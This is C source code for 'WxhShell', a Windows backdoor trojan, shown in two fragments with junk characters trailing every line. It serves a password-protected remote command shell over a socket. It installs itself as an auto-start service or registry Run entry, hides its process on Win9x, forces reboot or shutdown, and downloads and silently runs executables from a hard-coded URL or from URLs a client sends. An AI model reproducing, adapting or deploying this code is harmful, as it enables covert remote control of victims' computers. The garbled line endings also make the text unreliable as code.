    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EfqX y>W  
    if(Boot(SHUTDOWN)) v_yw@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P?%s #I:  
    else { 9[#pIPxNK  
    closesocket(wsh); |NlO7aQ>2H  
    ExitThread(0); ~?l | [  
    } ~$c\JKH-  
    break; 1v y*{D  
    } \<bx [,?  
  // 获取shell ."g`3tVK  
  case 's': { &w\{TZ{  
    CmdShell(wsh); ::`HQ@^  
    closesocket(wsh); RTYvS5 G  
    ExitThread(0); <3n Mx^  
    break; )Om*@;r(  
  } ~-k9%v`  
  // 退出 jV i) Efy  
  case 'x': { td$E/h=3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IYv`IS"  
    CloseIt(wsh); X;$+,&M"  
    break; _T60;ZI+^  
    } 'B |JAi?  
  // 离开 6%'QjwM_  
  case 'q': { MxKS4k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $z6_@`[  
    closesocket(wsh); GblA9F7  
    WSACleanup(); Y/F6\oh  
    exit(1); -E[Kml~U  
    break; I^.Om])  
        } O 2V  
  } Cp\6W[2+B  
  } poE0{HOU  
hW<%R]^|  
  // 提示信息 |]bsCmD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /PVk{3  
} i$Ul(?  
  } cZ,b?I"Q%  
Xg6Jh``  
  return; 9X6h  
} Ov@gh kr  
}CSDV9).S  
// shell模块句柄 {p2!|A&a  
int CmdShell(SOCKET sock) l$KA)xbI  
{ t 9lPb_70  
STARTUPINFO si; FaAC&F@u  
ZeroMemory(&si,sizeof(si)); MpT8" /.]A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )$2QZ qX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hgG9m[?K  
PROCESS_INFORMATION ProcessInfo; M-VX;/&FR  
char cmdline[]="cmd"; "nynl'Ryk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2k~l$p>CN!  
  return 0; sI=xl  
} AYBns]!  
#^0R&) T  
// 自身启动模式 VD*6g%p  
int StartFromService(void) x8 2cT21b  
{ h'llK6_)  
typedef struct 9c bd~mM{  
{ "Fr.fhh'~  
  DWORD ExitStatus; gjyYCjF  
  DWORD PebBaseAddress; P\tB~SZ*  
  DWORD AffinityMask; >58YjLXb  
  DWORD BasePriority; [>I<#_^~  
  ULONG UniqueProcessId; +fB5w?Rg  
  ULONG InheritedFromUniqueProcessId; LH.]DVj  
}   PROCESS_BASIC_INFORMATION; uh0VFL*@  
LVM%"sd?  
PROCNTQSIP NtQueryInformationProcess; %6 zB Sje  
~7w"nIs<c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dl)Y'DI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [\e eDa  
Z?q] bSIT  
  HANDLE             hProcess; C}j"Qi`  
  PROCESS_BASIC_INFORMATION pbi; N{!i=A  
{lzWrUGO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gx/,)> E.  
  if(NULL == hInst ) return 0; =ZznFVJ`={  
dES"@?!^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Evq IcZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bSlF=jT[S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "]*&oQCI  
lN)C2 2  
  if (!NtQueryInformationProcess) return 0; z|J_b"u4  
HVCe;eI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?=msH=N<l  
  if(!hProcess) return 0; /U*C\ xMm  
J1U/.`Oy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q[_Vu A]&  
oH?b}T=9jz  
  CloseHandle(hProcess); KK4`l}Fk:n  
O`kl\K*R7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]jQutlg|  
if(hProcess==NULL) return 0; R%WCH?B<}  
yxQ1`'[CR  
HMODULE hMod; hh%-(HaLX3  
char procName[255]; B"w?;EeV.  
unsigned long cbNeeded; a5^] 20Fa  
jRlYU`?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7aRi5  
p`dU2gV  
  CloseHandle(hProcess); 2a)xTA#  
FX&~\kmV'j  
if(strstr(procName,"services")) return 1; // 以服务启动 &BLJT9Frx  
 _"yh.N&  
  return 0; // 注册表启动 pU}(@oy  
} !-x$L>1$  
Ta0|+IYk<  
// 主模块 ?!:ha;n  
int StartWxhshell(LPSTR lpCmdLine) \:'/'^=#|  
{ Rok7n1gW  
  SOCKET wsl; UgSB>V<?  
BOOL val=TRUE; Xl{P8L  
  int port=0; 2wg5#i  
  struct sockaddr_in door; |A~jsz6pI  
I_#kgp  
  if(wscfg.ws_autoins) Install(); ^/>(6>S^M  
x+:UN'"r  
port=atoi(lpCmdLine); mDABH@ R  
{4}yKjW%z  
if(port<=0) port=wscfg.ws_port; n,(sBOQ  
=ho}oL,ZO  
  WSADATA data; wssRA?9<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n)-$e4u2  
Zn+.;o)E<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %XDc,AR[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HZB>{O  
  door.sin_family = AF_INET; P )"m0Lu<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2;`1h[,-^  
  door.sin_port = htons(port); b5I I/Y  
)9G[dDeC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AT 3cc  
closesocket(wsl); {\"x3;3!6  
return 1; ^7cGq+t  
} \ZFGw&yN  
KP^V>9q  
  if(listen(wsl,2) == INVALID_SOCKET) { `2WFk8) F  
closesocket(wsl); )[6U^j4  
return 1; ZY={8T@  
} <?6|.\&  
  Wxhshell(wsl); #U4F0BdA  
  WSACleanup(); Gr'  CtO  
bHYy}weZ  
return 0; X/!o\yyT  
@f~RdO3  
} wE>\7a*P%  
iL&fgF"'  
// 以NT服务方式启动 6r0krbN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %D34/=(X  
{ {SPq$B_VR  
DWORD   status = 0; Oc#syfO  
  DWORD   specificError = 0xfffffff; tjGn|+|k  
= `F(B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]=I@1B;_m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L(<*)No  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #e1>H1eU  
  serviceStatus.dwWin32ExitCode     = 0; z&)A,ryW0  
  serviceStatus.dwServiceSpecificExitCode = 0; . B9iLI  
  serviceStatus.dwCheckPoint       = 0; LVfF[  
  serviceStatus.dwWaitHint       = 0; Ecefi pG  
&K.d'$q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]L $\ #  
  if (hServiceStatusHandle==0) return; 3?9IJ5p  
YeL#jtC  
status = GetLastError(); K~{$oD7!  
  if (status!=NO_ERROR) AaOu L,l  
{ F?*-4I-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,/%=sux  
    serviceStatus.dwCheckPoint       = 0; |Q6.299  
    serviceStatus.dwWaitHint       = 0; *8Xh(` Mj7  
    serviceStatus.dwWin32ExitCode     = status; m|n%$$S&  
    serviceStatus.dwServiceSpecificExitCode = specificError; X,_2FJv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cWaSn7p!X  
    return; I\{ 1u  
  } Y@vTaE^w3  
QzVnL U)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  a=9:[  
  serviceStatus.dwCheckPoint       = 0; C*_C;6.~Y  
  serviceStatus.dwWaitHint       = 0; 5E;qM|Ns  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .CABH,Po:  
} VcO0sa f`  
,t?B+$E  
// 处理NT服务事件,比如:启动、停止 k8[n+^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mbxZL<ua  
{ O!#g<`r{K  
switch(fdwControl) NZLxHD]mp  
{  I<mV+ex  
case SERVICE_CONTROL_STOP:  :D6 ON"6  
  serviceStatus.dwWin32ExitCode = 0; `l ^9/_g'6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L-WT]&n_  
  serviceStatus.dwCheckPoint   = 0; )._;~z!  
  serviceStatus.dwWaitHint     = 0; z6=Z\P+  
  { Oi'5ytsES  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,+DG2u  
  } QUc= &5 %  
  return; /<=u\e'rE  
case SERVICE_CONTROL_PAUSE: QL&ZjSN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]Ji.Zk  
  break; v5#j Z$<F  
case SERVICE_CONTROL_CONTINUE: uM IIYS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; feDlH[$  
  break; t7Iv?5]N  
case SERVICE_CONTROL_INTERROGATE: HZC"nb}r4  
  break; v6bGjVK[  
}; uK"=i8rs4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Vn\u  
} ghG**3xr  
{j?FNOJn  
// 标准应用程序主函数 xQ-<WF1i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B$fPgW-  
{ KE5kOU;  
1 ~Y<//5E  
// 获取操作系统版本 qpP=K $  
OsIsNt=GetOsVer(); ooj,/IEQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3tIVXtUCUk  
@]%IK(|  
  // 从命令行安装 &tLgG4pd  
  if(strpbrk(lpCmdLine,"iI")) Install(); #uG%j  
6$Xzpg(o  
  // 下载执行文件 mI-]/:  
if(wscfg.ws_downexe) { { M4gF8(M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z,[Hli*0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ICx#{q@f,  
} QC OM_$y  
{tuYs:  
if(!OsIsNt) { #4Rx]zW^%  
// 如果时win9x,隐藏进程并且设置为注册表启动 1QcNp (MO  
HideProc(); dk#k bG;  
StartWxhshell(lpCmdLine); ]___M  
} !&y8@MD15  
else ~*&H$6NJS  
  if(StartFromService()) NqazpB*  
  // 以服务方式启动 w7.V6S$Ga  
  StartServiceCtrlDispatcher(DispatchTable); +K:Dx!9  
else D09Sg%w  
  // 普通方式启动 EPI4!3]  
  StartWxhshell(lpCmdLine); RNEp4x  
!21FR*  
return 0; ,GbR!j@6  
} UJAv`yjG  
1y@i}<9F  
]b:Lo  
abmYA#  
=========================================== %A9NB!  
]3],r?-tJ  
0y'H~(  
:1. L}4"gg  
shy-Gu&  
mA}TJz  
" {yTGAf-DV  
1Ti f{i,B  
#include <stdio.h> +aCv&sg  
#include <string.h> w>s,"2&5J  
#include <windows.h> .GP T!lDc  
#include <winsock2.h> YNyk1cE  
#include <winsvc.h> b5dD/-Vj  
#include <urlmon.h> 7 UKh688  
KI iO  
#pragma comment (lib, "Ws2_32.lib") 6EoMt@7g  
#pragma comment (lib, "urlmon.lib") W dK #ZOR  
]KKS"0a  
#define MAX_USER   100 // 最大客户端连接数  c(f  
#define BUF_SOCK   200 // sock buffer T?CdZc.  
#define KEY_BUFF   255 // 输入 buffer ~OYiq}g  
x*\Y)9Vgy  
#define REBOOT     0   // 重启 { =9,n\85#  
#define SHUTDOWN   1   // 关机 av8B-GQI*#  
iJ)_RSFK  
#define DEF_PORT   5000 // 监听端口 9IdA%RM~mH  
\$~|ZwV{  
#define REG_LEN     16   // 注册表键长度 $t'MSlF  
#define SVC_LEN     80   // NT服务名长度 y4 #>X  
"rALt~AX  
// 从dll定义API }z'8Bu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j;+b0(53  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $lfn(b,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $ZhF h{DQ.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h9&0Z +zs  
!3c\NbU  
// wxhshell配置信息 1Z/(G1  
struct WSCFG { 13$%,q)  
  int ws_port;         // 监听端口 u OmtyX  
  char ws_passstr[REG_LEN]; // 口令 R3)~?X1n  
  int ws_autoins;       // 安装标记, 1=yes 0=no i(rL|d+'  
  char ws_regname[REG_LEN]; // 注册表键名 >;aWz%-  
  char ws_svcname[REG_LEN]; // 服务名 z3{G9Np  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EqkN3%IG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c)6m$5]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]NQfX[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r..iko]T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L:$ ,v^2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U*rcd-@  
DD+7V@  
}; :DK {Vg6  
8?B!2  
// default Wxhshell configuration !]A  
struct WSCFG wscfg={DEF_PORT, 0I-9nuw,^;  
    "xuhuanlingzhe", ^&9zw\x;z  
    1, Hs;4lSyUO  
    "Wxhshell", ^  glri$m  
    "Wxhshell", %vn"{3y>rF  
            "WxhShell Service", */5d>04  
    "Wrsky Windows CmdShell Service", 7~G9'P<  
    "Please Input Your Password: ", .Bl\Z  
  1, XFVE>/H  
  "http://www.wrsky.com/wxhshell.exe", K C*e/J  
  "Wxhshell.exe" y;m|  
    }; i<C*j4qQ  
B {n,t}z  
// 消息定义模块 ANAVn@ [  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jKz$@gP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y>8sZuH0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #ZUI)9My@  
char *msg_ws_ext="\n\rExit."; 4@+`q *  
char *msg_ws_end="\n\rQuit."; CCs%%U/=  
char *msg_ws_boot="\n\rReboot..."; NR$3%0 nC6  
char *msg_ws_poff="\n\rShutdown..."; W 8<&gh+  
char *msg_ws_down="\n\rSave to "; Co9^OF-k  
;>%r9pz ~  
char *msg_ws_err="\n\rErr!"; (R,#a *CV  
char *msg_ws_ok="\n\rOK!"; 9!ngy*\x  
RN1y^`  
char ExeFile[MAX_PATH]; ].avItg  
int nUser = 0; "@^k)d$  
HANDLE handles[MAX_USER]; np|Sy;:  
int OsIsNt; f=+mIZ  
JMCKcZ%N  
SERVICE_STATUS       serviceStatus; .r=4pQ@#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v4!VrI  
aL\PGdgO  
// 函数声明 7(1|xYCx$  
int Install(void); etQCzYIhn  
int Uninstall(void); h:))@@7MJ  
int DownloadFile(char *sURL, SOCKET wsh); ~Py`P'+  
int Boot(int flag); (' (K9@}  
void HideProc(void); ''cInTCr  
int GetOsVer(void); w?PkO p  
int Wxhshell(SOCKET wsl); 4!{KWL`A  
void TalkWithClient(void *cs); ,C\i^>=  
int CmdShell(SOCKET sock); s2p\]|5  
int StartFromService(void); @-07F,'W,  
int StartWxhshell(LPSTR lpCmdLine); zEX  
kM l+yli3c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >a<.mU|#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vQG5*pR*w  
Bpo4?nCl}  
// 数据结构和表定义 0(}t8lc  
SERVICE_TABLE_ENTRY DispatchTable[] = =`oCLsz=  
{ [-1^-bb  
{wscfg.ws_svcname, NTServiceMain}, KJUH(]>F  
{NULL, NULL} tPWLg),  
}; Ys9[5@7  
_IHV7*u{;  
// 自我安装 Wx%H%FeK  
int Install(void) h]&GLb&<?  
{ 3PWL@>zi  
  char svExeFile[MAX_PATH]; 4}baSV  
  HKEY key; J9nX"Sb  
  strcpy(svExeFile,ExeFile);  M mj;-u  
G^|:N[>B  
// 如果是win9x系统,修改注册表设为自启动 6dr%;Wp  
if(!OsIsNt) { J$DE"| -  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ha<[b ue  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :as$4|  
  RegCloseKey(key); 2eS~/Pq5=i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &{n.]]%O.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \A#41  
  RegCloseKey(key); Lnl(2xD  
  return 0; 'W^YM@  
    } Zd%k*BC  
  } dh iuI|?@  
} ;%9|k U  
else { Y;M|D'y+  
rl;~pO5R9  
// 如果是NT以上系统,安装为系统服务 a$OE0zn`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h 0Q5-EA  
if (schSCManager!=0) x.6:<y  
{ !sP {gi#=  
  SC_HANDLE schService = CreateService <oV(7  
  ( 9ULQrq$?  
  schSCManager, .f2bNnB~pP  
  wscfg.ws_svcname, N/2 T[s_&  
  wscfg.ws_svcdisp, >uB# &Q  
  SERVICE_ALL_ACCESS, Z]Cq3~l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n0 {i&[I~+  
  SERVICE_AUTO_START, pofie$  
  SERVICE_ERROR_NORMAL, u'DRN,h+  
  svExeFile, g-bK|6?yz  
  NULL, &%DY\*  
  NULL, Y eo]]i{  
  NULL, i$G@R %  
  NULL, Om\vMd@!  
  NULL *Kg ks4  
  ); "?xHlYj@+  
  if (schService!=0) }2.`N%[  
  { /nNN,hz  
  CloseServiceHandle(schService); J=I:CD%  
  CloseServiceHandle(schSCManager); Y"aJur=`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nRS}}6Q  
  strcat(svExeFile,wscfg.ws_svcname); $a"Oc   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a~}OZ&PG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0R'?~`aTt  
  RegCloseKey(key); d.d/<  
  return 0; Id .nu/  
    } 6ojo :-%Vf  
  } ?M9=yA  
  CloseServiceHandle(schSCManager); ChPmX+.i_  
} vMH  
} Ckuh:bs  
<uw9DU7G  
return 1; 7' V@+5  
} [!#L6&:a8  
Hk.TM2{w  
// 自我卸载 c9u`!'g`i  
int Uninstall(void) c9 _ rmz8  
{ :>f )g  
  HKEY key; FbFPJ !fb  
H=vUYz  
if(!OsIsNt) { _9Te!gJ4_#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hd ={CFip  
  RegDeleteValue(key,wscfg.ws_regname); $ >eCqC3  
  RegCloseKey(key); g@!V3V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e2oa($9  
  RegDeleteValue(key,wscfg.ws_regname); O;jrCB  
  RegCloseKey(key); O-hAFKx  
  return 0; }V`"s^  
  } ,<P vovg_  
} :{l_FY436  
} yq\K)g*=  
else { "JV_2K_i  
7.j?U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E4/Dr}4  
if (schSCManager!=0) v^*K:#<Q!  
{ ;$wVu|&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bJTBjS-7  
  if (schService!=0) Am|%lj+1z  
  { j6 z^Tt12  
  if(DeleteService(schService)!=0) { Cnh \%OW  
  CloseServiceHandle(schService); dcN22A3  
  CloseServiceHandle(schSCManager); z46~@y%k  
  return 0; Qe:seW  
  } 9qzHS~l  
  CloseServiceHandle(schService); f r6 fj  
  } 33B]RGq  
  CloseServiceHandle(schSCManager); lX4 x*  
} T:yE(OBf  
} . 3T3E X|G  
7~.9=I'A  
return 1; ;iL#7NG-R  
} &d^m 1  
S;#'M![8  
// 从指定url下载文件 =dYqS[kJW  
int DownloadFile(char *sURL, SOCKET wsh) k,+0u/I  
{ "J_9WUN  
  HRESULT hr; >_T-u<E  
char seps[]= "/"; s9DYi~/,  
char *token; h J)h\  
char *file; -gX1-,dE  
char myURL[MAX_PATH]; tFOhL9T  
char myFILE[MAX_PATH]; 6mxfLlZ  
9EibIOD^/  
strcpy(myURL,sURL); I:1C8*/  
  token=strtok(myURL,seps); U8n V[  
  while(token!=NULL) M-Y_ Wb3  
  { R8Fv{7]c  
    file=token; =MDys b&:  
  token=strtok(NULL,seps); ],Do6 @M-  
  } P{ lB50  
sWnLEw  
GetCurrentDirectory(MAX_PATH,myFILE); ;+ hH  
strcat(myFILE, "\\"); v;D~Pa  
strcat(myFILE, file); Y O}<Ytx  
  send(wsh,myFILE,strlen(myFILE),0); /!XVHkX[  
send(wsh,"...",3,0); s R/F"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ')<hON44EX  
  if(hr==S_OK) _ *Pf  
return 0; +Q"4Migbe@  
else r0% D58  
return 1; *#+An<iT ;  
z[qDkL  
} 3 {sVVq5Y  
$Ri; ^pZw[  
// 系统电源模块 _ZSR.w}j/  
int Boot(int flag) wgGl[_)  
{ Y\g3h M  
  HANDLE hToken; uiR8,H9*M  
  TOKEN_PRIVILEGES tkp; DT&@^$?  
07{)?1cod4  
  if(OsIsNt) { t&e{_|i#+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }a(dyr`S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0*{%=M  
    tkp.PrivilegeCount = 1; )|# sfHv7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b,1ePS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m#\ dSl}  
if(flag==REBOOT) { {V CWn95Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ml }{|Yz  
  return 0; z9Rp`z&`E  
} U9MxI%tb  
else { ((M>s&\y*Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AFE~ v\Gz  
  return 0; d<P\&!R(  
} hv>\gBe i  
  } Qj3EXb  
  else { mxdr,Idx  
if(flag==REBOOT) { O)r4?<Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WOL:IZX%  
  return 0; L$M9w  
} cTTL1SW  
else { FXkM#}RgNm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) > /caXvS  
  return 0; )bscBj@  
} ][Rh28?I{  
} FJ)$f?=Qd  
n,WqyNt*  
return 1; -m~#Bq  
} gV_}-VvP  
4~Q/"hMSkO  
// win9x进程隐藏模块 >}6%#CAf  
void HideProc(void) draN0v f  
{ &6nWzF  
V)N%WX G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kc&U'&RgY  
  if ( hKernel != NULL ) \(2sW^fY  
  { sD#.Oq4&]y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oW6XF-yM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 40m-ch6Q  
    FreeLibrary(hKernel); ^Xh^xL2cn  
  } -PR N:'T  
v mk2{f,g  
return; r3UUlR/Do  
} w ;^ra<*<+  
86F1.ve  
// 获取操作系统版本 >tW#/\x{  
int GetOsVer(void) sLxc(d'A  
{ &0JI!bR(  
  OSVERSIONINFO winfo; n /m G|)Xt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |aq"#Ml)  
  GetVersionEx(&winfo); JDT`C2-Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P@c5pc#|  
  return 1; aAUvlb  
  else r\^b(rNe  
  return 0; m!HJj>GEo  
} RPRBmb940  
Z/+#pWBI!  
// 客户端句柄模块  Mb~F%_  
int Wxhshell(SOCKET wsl) JZyAXm%  
{ 1yu4emye4  
  SOCKET wsh; mc\"yC ^s  
  struct sockaddr_in client; B^^#D0<  
  DWORD myID; }-=|^  
Uz]|N6`  
  while(nUser<MAX_USER) YNi.SXH  
{ vy I!]p  
  int nSize=sizeof(client); }&D32\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U-M>=3|N  
  if(wsh==INVALID_SOCKET) return 1; +52{-a,>  
-nV9:opD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {_v#~595  
if(handles[nUser]==0) * 0=j?~&  
  closesocket(wsh); W7nw6;7=  
else ZPYS$Ydy  
  nUser++; tY4;F\e2|A  
  } 6T`i/".  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b OY |H~  
d7bS wL  
  return 0; i=2N;sAl  
} R4:b{)=O  
3(80:@|  
// 关闭 socket f4|rVP|x  
void CloseIt(SOCKET wsh) qUb&   
{ t"oeQ*d%  
closesocket(wsh); 92oFlEJ  
nUser--; 8KzkB;=n  
ExitThread(0); lrIe"H@  
} L.JT[zOfb  
e+fN6v5pU  
// 客户端请求句柄 1bwOm hkS  
void TalkWithClient(void *cs) ^^ixa1H<  
{ j?4qO]_Wx+  
5`p.#  
  SOCKET wsh=(SOCKET)cs; uoh7Sz5!^  
  char pwd[SVC_LEN]; ]:J$w]\  
  char cmd[KEY_BUFF]; 4^o^F-k'  
char chr[1]; @cXMG6:{  
int i,j; + mT_QsLEv  
|+D!= :x  
  while (nUser < MAX_USER) { KoT%Mfu  
FfT`;j  
if(wscfg.ws_passstr) { Wmv#:U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SXP]%{@ R/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pOoEI+t  
  //ZeroMemory(pwd,KEY_BUFF); DZtsy!xA  
      i=0; ;Q`lNFa  
  while(i<SVC_LEN) { a0H+.W+]  
\YrUe1  
  // 设置超时 ,r_Gf5c  
  fd_set FdRead; bW(0Ng  
  struct timeval TimeOut; 4;2uW#dG"  
  FD_ZERO(&FdRead); FGBbO\< /  
  FD_SET(wsh,&FdRead); dioGAai'  
  TimeOut.tv_sec=8; O5BYD=7  
  TimeOut.tv_usec=0; gw<q.XL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Tpa5N'O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @-`*m+$U6  
3F^Q51:t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SNk=b6`9  
  pwd=chr[0]; ysnx3(+|  
  if(chr[0]==0xd || chr[0]==0xa) { ('+d.F[109  
  pwd=0; F#5~M<`.o  
  break; yyTnL 2Y9  
  } /PXzwP_(A  
  i++; G7/ +ogV  
    } 1<aP92/N&  
`r 4fm`<  
  // 如果是非法用户,关闭 socket XC#oB~K'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aV0"~5  
} Y"$xX8o  
b4Ekqas  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6[AL|d DK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S~G ]~gt  
q{x8_E!L  
while(1) { >9Vn.S  
o}p n0KO,  
  ZeroMemory(cmd,KEY_BUFF); ,zY{  
xxQ;xI0+]  
      // 自动支持客户端 telnet标准   -jm Y)(\  
  j=0; zX i 'kB  
  while(j<KEY_BUFF) { A?OQE9'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &_8 947  
  cmd[j]=chr[0]; }"%N4(Kd  
  if(chr[0]==0xa || chr[0]==0xd) { M&M 6;Ph  
  cmd[j]=0; _ jlRlt  
  break; P@~yx#G  
  } 7tCw*t$  
  j++; < I``&>  
    } H3oFORh  
"_?nN"A7  
  // 下载文件 pEz_qy[#  
  if(strstr(cmd,"http://")) { _+3::j~;m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0JujesUw(  
  if(DownloadFile(cmd,wsh)) Zx>=tx}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \o3gKoL%  
  else M X]n&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K wVbbC3  
  } [()koU#w.  
